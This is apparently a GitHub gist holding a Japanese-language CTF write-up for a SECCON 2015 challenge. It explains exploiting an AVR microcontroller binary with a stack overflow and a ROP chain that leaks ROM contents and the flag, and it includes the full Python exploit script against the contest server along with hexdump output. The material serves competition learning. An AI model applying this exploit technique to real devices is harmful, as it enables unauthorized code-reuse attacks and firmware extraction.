Skip to content

Instantly share code, notes, and snippets.

@Ga-ryo
Created December 7, 2015 08:18
Show Gist options
  • Save Ga-ryo/96e54b1e2df1a9ee847b to your computer and use it in GitHub Desktop.
Save Ga-ryo/96e54b1e2df1a9ee847b to your computer and use it in GitHub Desktop.
SECCON2015 online 予選
Arduinoで有名なAtmel AVRのELFバイナリへのexploit
(概要)
レジスタの扱い方やスタックがエンプティスタックになっている等,x86とは異なる特徴があるが省略する.
最も特徴的なのはハーバードアーキテクチャであることだろう.
機械語用のROMとデータ用のRAMが全く別個に配置されている.そのためマシンコードのデータを読み取るには特殊な命令が必要になる.
(最初はデータ用領域の0x1800をずっとreadしていて謎のデータが出てきていたのでココで詰まった)
バイナリ中にあるlpmという命令がまさにそれである.
また,挙動が把握しづらい点として,実機でどうかは分からないがret命令で不正なアドレスがある時に例外は発生せず,そのまま下の命令を実行し始めるという挙動が確認できた.
その点を理解したうえでretでPCを書き換えられている場合とそうでない場合の挙動の違いからreturn addressまでのオフセットを求めた(デバッガのシミュレータで求めても良いし逆アセンブル結果ちゃんと見れば求まる).
(解法)
Zレジスタ(インデックスレジスタで内部的にはr30,r31レジスタによって表される)からの50番へのout命令がwriteでこれでリークさせたいので,Zレジスタ(r30,r31)をどうにかするか,その上でセットされているのでr22,r23かr24,r25(lpm関数の中でr30,r31にセットされている)レジスタをどうにかすれば良いと分かる.
r24,r25の値はデバッガで見たり静的に確認すれば分かる.(解答ではガジェットを組み合わせて0xffにしたがr25がどうせセットできないのであまり意味ない)
あとはlpmの命令でZレジスタがインクリメントされるのでlpmとwriteを交互にループさせればROM上の値をリークさせることが可能.
# python avr.py | hexdump -C | tail
00009df0 70 e0 ce 01 01 96 0e 94 84 08 0e 94 93 08 80 e0 |p...............|
00009e00 90 e0 0e 94 17 08 80 e0 90 e0 0c 94 17 08 53 45 |..............SE|
00009e10 43 43 4f 4e 7b 55 6e 69 71 75 65 41 6e 64 4e 69 |CCON{UniqueAndNi|
00009e20 63 65 41 72 63 68 69 74 65 63 74 75 72 65 7d 54 |ceArchitecture}T|
00009e30 68 69 73 20 69 73 20 61 76 72 2d 65 6c 66 20 73 |his is avr-elf s|
00009e40 65 72 76 65 72 2e 0a 4f 4b 2e 0a 49 6e 70 75 74 |erver..OK..Input|
00009e50 20 6e 61 6d 65 3a 0a 2a 2a 2a 20 43 6f 6e 6e 65 | name:.*** Conne|
00009e60 63 74 69 6f 6e 20 63 6c 6f 73 65 64 20 62 79 20 |ction closed by |
00009e70 72 65 6d 6f 74 65 20 68 6f 73 74 20 2a 2a 2a 0a |remote host ***.|
00009e80
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib
from libformatstr import FormatStr
def sock(remoteip="127.0.0.1", remoteport=1234):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(a):
return struct.pack('BB',a>>8,a & 0xff)
HOST, PORT = "micro.pwn.seccon.jp", 10000
s, f = sock(HOST, PORT)
write_r24 = 0x1020/2
pop_r16_ret = 0x10bc/2
#mov r24,r26 pop pop ret
mov_r24_r16 = 0x10b8/2
lpm = 0x1024/2
clear_r25_pop2_ret = 0x10d8/2
offset = 18
read_until(f,'name:')
#r24=0xff
rop = p(pop_r16_ret)+struct.pack('B',0xff)
rop += p(mov_r24_r16)+'AA'
#r25=0
rop += p(clear_r25_pop2_ret) + 'AA'
#Z=r31,r30=r25,r24 -> r24=machine code, Z++ -> write r24
rop += p(lpm) + p(write_r24)
for i in range(0,10000):
#Z++ and write machine code
rop += p(lpm+2) + p(write_r24)
f.write('A'*offset+rop+'\n')
shell(s)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment